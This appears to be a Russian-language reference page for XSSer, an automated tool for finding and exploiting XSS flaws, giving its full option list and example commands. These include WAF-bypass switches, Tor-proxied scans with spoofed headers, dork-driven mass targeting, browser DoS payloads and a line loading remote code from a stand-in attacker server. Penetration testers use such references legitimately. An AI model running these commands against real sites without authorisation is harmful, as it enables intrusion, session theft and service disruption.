You are here: Home » Веб приложения » XSSer

XSSer

Описание XSSer

Cross Site "Scripter" (также известный как XSSer) – это автоматический фреймворк по обнаружению, эксплуатации и сообщению о XSS уязвимостях в веб-приложениях.

Инструмент содержит несколько опций для обхода определённых фильтров и различные специальные техники внедрения кода.

Домашняя страница: xsser.03c8.net

Автор: psy (epsylon)

Лицензия: GPLv3

Справка по XSSer

Использование: 

xsser [ОПЦИИ] [--all  |-u  |-i <файл> |-d <дорк> (опции)|-l ] [-g  |-p  |-c  (опции)]
[Запросы(ы)] [Проверяльщик(и)] [Вектор(ы)] [Анти-антиXSS/IDS] [Обходчик(и)] [Техника(и)] Окончательное вредрение(я)] [Составление отчёта] {Разное}
Опции:
  --version             показать номер версии программы и выйти
  -h, --help            показать справку и выйти
  -s, --statistics      показывать продвинутую статистику по выводимым результатам
  -v, --verbose         активировать вербальный режим выводимых результатов
  --gtk                 запустить GTK интерфейс XSSer 
  --wizard              запустить мастер помощника!

  *Специальные функции*:
    Вы можете установить вектор(ы) и байпассер(ы) для построения сложных
    скриптов для внедряемого кода XSS. XST позволяет вам обнаружить, 
    уязвима ли цель к 'Cross Site Tracing' [CAPEC-107]:

    --imx=IMX           IMX – Создать изображение с XSS (--imx image.png)
    --fla=FLASH         FLA – Создать флеш муви с XSS (--fla movie.swf)
    --xst=XST           XST - Cross Site Tracing (--xst http(s)://host.com)

  *Выбор цели(ей)*:
    По крайней мере одна из этих опций должна быть указан для
    установки источника из которого получать urls целей:

    --all=ЦЕЛЬ          Автоматически провести аудит всей цели
    -u URL, --url=URL   Ввод цели для аудита
    -i READFILE         Прочитать url цели(ей) из файла
    -d ДОРК             Поиск цели(ей) используя запрос (например: 'news.php?id=')
    -l                  Поиск по списку 'дорков'
    --De=DORK_ENGINE    Использовать этот поисковый движок (по умолчанию: duck)
    --Da                Массовый поиск используя все поисковые движки

  *Выбор типа HTTP/HTTPS подключения(ий)*:
    Эти опции могут применяться для указания параметра(ов),
    Который мы хотим использовать для внедрения полезной:

    -g GETDATA          Отправлять полезную нагрузку используя GET (пример: '/menu.php?q=')
    -p POSTDATA         Отправлять полезную нагрузку используя POST (пример: 'foo=1&bar=')
    -c CRAWLING         Число url для обхода на цели(ях): 1-99999
    --Cw=CRAWLER_WIDTH  Уровень глубина обходчика: 1-5 (по умолчанию 3)
    --Cl                Обходить только локальные целевые url (по умолчанию TRUE)

  *Настройка запроса(ов)*:
    Эти опции могут использоваться для указания, как подключаться
    к целевой полезной нагрузке. Можно выбрать несколько:

    --cookie=COOKIE     Изменить заголовок ваших HTTP Cookie 
    --drop-cookie       Игнорировать заголовок Set-Cookie из ответа
    --user-agent=AGENT  Изменить ваш заголовок HTTP User-Agent (по умолчанию SPOOFED)
    --referer=REFERER   Использовать другой заголовок HTTP Referer (по умолчанию NONE)
    --xforw             Установить ваш HTTP X-Forwarded-For на случайное значение IP 
    --xclient           Установить ваш HTTP X-Client-IP на случайное значение IP 
    --headers=HEADERS   Дополнительные HTTP заголовки, разделённые переходом строки 
    --auth-type=ATYPE   Тип HTTP аутентификации (Basic, Digest, GSS или NTLM)
    --auth-cred=ACRED   Учётные данные HTTP аутентификации (имя:пароль)
    --proxy=PROXY       Использовать прокси сервер (tor: http://localhost:8118)
    --ignore-proxy      Игнорировать системный HTTP прокси по умолчанию
    --timeout=TIMEOUT   Выбрать ваш таймаут (по умолчанию 30)
    --retries=RETRIES   Повторные попытки при таймауте соединения (по умолчанию 1)
    --threads=ПОТОКИ    Максимальное количество одновременных HTTP запросов (по умолчанию 5)
    --delay=ЗАДЕРЖКА    Задержка в секундах между каждым HTTP запросом (по умолчанию 0)
    --tcp-nodelay       Использовать опциюTCP_NODELAY 
    --follow-redirects  Следовать редиректам сервера в ответах (302)
    --follow-limit=FLI  Установить лимит для редиректов запросов (по умолчанию 50)

  *Системы проверки*:
    Эти опции полезны чтобы знать, использует ли ваша цель фильтры
    против XSS атак:

    --hash              отправить хэш для проверки, повторяет ли цель контент
    --heuristic         обнаружить параметры, фильтруемые с помощью эвристики
    --discode=DISCODE   установить код на ответ для отмены инъекции
    --checkaturl=ALT    проверить ответ используя: альтернативный url -> Слепая XSS
    --checkmethod=ALTM  проверить ответ используя: GET или POST (по умолчанию: GET)
    --checkatdata=ALD   проверить ответ используя: альтернативную полезную нагрузку
    --reverse-check     установить обратное подключение с цели на XSSer 
                        для удостоверения, что 100% уязвимость (рекомендуется!)

  *Выбор вектора(ов)*:
    Эти опции могут использоваться для указания кода внедрения. 
    Важно, если вы не хотите внедрять распространённый XSS вектор, 
    который используется по умолчанию. Выберите только одну опцию:

    --payload=СКРИПТ    OWN  - Внедрение вашего собственного кода
    --auto              AUTO – Внедрение списка векторов, предоставляемых XSSer

  *Анти-антиXSS правила файервола*:
    Эти опции могут использоваться для попытки обойти определённые 
    WAF/IDS продукты. Выберите только если требуются:

    --Phpids0.6.5       PHPIDS (0.6.5) [ALL]
    --Phpids0.7         PHPIDS (0.7) [ALL]
    --Imperva           Imperva Incapsula [ALL]
    --Webknight         WebKnight (4.1) [Chrome]
    --F5bigip           F5 Big IP [Chrome + FF + Opera]
    --Barracuda         Barracuda WAF [ALL]
    --Modsec            Mod-Security [ALL]
    --Quickdefense      QuickDefense [Chrome]

  *Выбор байпассера(а) - обходчика*:
    Эти опции используются для кодирования вектора(ов) и попытки обойти
    возможные анти-XSS фильтры. Их можно комбинировать с другими техниками:

    --Str               Использовать метод String.FromCharCode()
    --Une               Использовать функцию Unescape() 
    --Mix               Смешать String.FromCharCode() и Unescape()
    --Dec               Использовать десятичную кодировку
    --Hex               Использовать шестнадцатеричную кодировку
    --Hes               Использовать шестнадцатеричную кодировку с точками запятыми
    --Dwo               Кодировать IP адрес с DWORD
    --Doo               Кодировать IP адрес с Octal
    --Cem=CEM           Установить различные 'Character Encoding Mutations' (мутации
                        Кодировки символов) (реверсивные обфускаторы) (пример: 'Mix,Une,Str,Hex')

  *Специальная техника(и)*:
    Эти опции могут использоваться для внедрения кода с применением 
    различных XSS техник. Вы можете выбрать несколько:

    --Coo               COO - Cross Site Scripting Cookie внедрение
    --Xsa               XSA - Cross Site Agent Scripting
    --Xsr               XSR - Cross Site Referer Scripting
    --Dcp               DCP - Data Control Protocol инъекции
    --Dom               DOM – Инъекции в объектную модель документа
    --Ind               IND - HTTP Response Splitting Induced code
    --Anchor            ANC – Использовать незаметную анкорную полнезную нагрузку (DOM затенение!)

  *Выбрать конечную инъекцию(ии)*:
    Эти опции могут использоваться для указания конечного кода для внедрения 
    в уязвимую цель(и). Важно если вы хотите эксплуатировать 'on-the-wild'
     («дикую») найденную уязвимость. Выберите только одну опцию:

    --Fp=FINALPAYLOAD   OWN    - Эксплуатировать ваш собственный код
    --Fr=FINALREMOTE    REMOTE – Эксплуатировать скрипт -удалённо-
    --Doss              DOSs   - XSS (сервер) Отказ в обслуживании
    --Dos               DOS    - XSS (клиент) Отказ в обслуживании
    --B64               B64    - Кодирование Base64 к META tag (rfc2397)

  *Специальное финальное внедрение(я)*:
    Эти опции могут использоваться для выполнения некоторой специальной инъекции(ий) 
    на уязвимой цели(ях). Вы можете несколько и комбинировать их с 
    вашим конечным кодом (за исключением с DCP кодом):

    --Onm               ONM – Использовать событие onMouseMove() 
    --Ifr               IFR – Использовать тэг истончика <iframe> 

  *Составление отчётов*:
    --save              экспортировать в файл (XSSreport.raw)
    --xml=FILEXML       экспортировать в XML (--xml file.xml)

  *Прочее*:
    --silent            подавлять вывод результатов в консоль
    --no-head           НЕ отправлять запрос HEAD перед началом теста
    --alive=ISALIVE     установить лимит ошибок перед проверкой жива ли цель
    --update            проверить последнюю стабильную версию

Руководство по XSSer

Страница man отсутствует.

Примеры запуска XSSer

Запуск графического интерфейса:

xsser --gtk

Простое внедрение из URL:

xsser -u "http://host.com"

Простое внедрение из файла, с Tor проски и подменёнными заголовками HTTP Referer:

xsser -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"

Множественное внедрение из URL, с автоматической полезной нагрузкой, установлением обратного подключения (для удостоверения, что цель на 100% уязвима) и показом статистики:

xsser -u "http://host.com" --auto --reverse-check -s

Множественное внедрение из URL, с автоматической полезной нагрузкой, использованием прокси Tor, использованием «Шестнадцатеричной» кодировки, с вербальным выводом и сохранением результатов в файл (XSSreport.raw):

xsser -u "http://host.com" --auto --proxy "http://127.0.0.1:8118" --Hex --verbose --save

Множественное внедрение из URL, с автоматической полезной нагрузкой, используя перестановку символов кодировки (во-первых, изменение полезной нагрузки на «Шестнадцатеричную»; затем, изменение 'StringFromCharCode' первого; в-третьих, перекодирование «Шестнадцатеричной» во вторую), с подменой HTTP User-Agent, изменение таймаута на "20" и использование многопоточности (5 потоков):

xsser -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer Pentesting Tool" --timeout "20" --threads "5"

Продвинутое внедрение из файла, полезная нагрузка с вашим собственным кодом, используя Unescape() кодировки символов для обхода фильтров:

xsser -i "urls.txt" --payload "!здесь введите ваш код для инъекции!" --Une

Внедрение из дорка, выбор "google" в качестве поискового движка:

xsser --De "google" -d "search.php?q="

Внедрение из списка дорков, извлечённого из файла (предоставленного XSSer) и использование всех поддерживаемых поисковых движков (Шторм XSSer!):

xsser -l --Da

Внедрение из обходчика с глубиной 3 и 4 страницы для обзора (Паук XSSer!):

xsser -c3 --Cw=4 -u "http://host.com"

Простое внедрение из URL в параметр POST (например: password), с результатами статистики:

xsser -u "http://host.com/index.php" -p "target=login&user=admin&password=" -s

Простое внедрение из URL, используя GET, внедряя в куки, пытаясь использовать теневое пространство DOM (не фиксируется на сервере!) и если существуют какие-либо уязвимости, эксплуатировать ваш собственный конечный код:

xsser -u "http://host.com" -g "/path?vuln=" --Coo --Dom --Fp="!здесь введите ваш код для инъекции!"

Простое внедрение из URL используя GET и если существует какая-либо уязвимость, эксплуатировать DoS (отказ в обслуживании) код для браузеров:

xsser -u "http://host.com" -g "/path?vuln=" --Dos

Множественное внедрение в несколько мест, извлечение целей из файла, применение автоматической полезной нагрузки, изменение таймаута на "20" и использование многопоточности (5 потоков), увеличение задержки между запросами до 10 секунд, внедрение параметров в HTTP USer-Agent, HTTP Referer и Cookies, использование прокси Tor, с восьмеричной обфускацией IP, с результатами статистики и использованием вербального режима (реальный боевой режим!):

xsser -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose

Внедрение XSS кода переданного пользователем в фальшивом изображении:

xsser --Imx "test.png" --payload "!здесь введите ваш код для инъекции!"

Сообщать в выводе о «позитивных» внедрениях из поиска по доркам (используя все поисковые машины) в XML файл:

xsser -d "login.php" --Da --xml "security_report_XSSer_Dork_login-php_allengines.xml"

Создать Flash кино со стандартным включённым XSS кодом:

xsser --fla "movie.swf"

Отправить предварительно проверенный хеш чтобы увидеть, генерирует ли цель ответы ложного срабатывания:

xsser -u "http://host.com" --hash

Обнаружить фильтруемые параметры используя эвристику:

xsser -u "http://host.com" --heuristic

Эксплуатация кода в кодировке Base64 в тэге META (rfc2397) после внедрения ручной полезной нагрузки:

xsser -u "http://host.com" -g "/path?vuln=" --payload "!здесь введите ваш код для инъекции!" --B64

Эксплуатация вашего «собственного» удалённого кода в полезной нагрузке, обнаруженного с использованием автоматического фаззинга:

xsser -u "http://host.com" -g "/path?vuln=" --auto --Fr "https://attacker_server.org/path/code.js"

Применить анти-антиXSS обходчик (например: Imperva) перед внедрением вашего собственного кода, использовать вербальный вывод:

xsser -u "http://host.com" -g "/path?vuln=" --Imperva --payload "!здесь введите ваш код для инъекции!" -v

Установка XSSer

Программа предустановлена в Kali Linux.

Установка в BlackArch

Программа предустановлена в BlackArch.

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты XSSer

12

13

14

Инструкции по XSSer

Ссылки на инструкции будут добавлены позже.

Близкие программы:

Рекомендуемые статьи: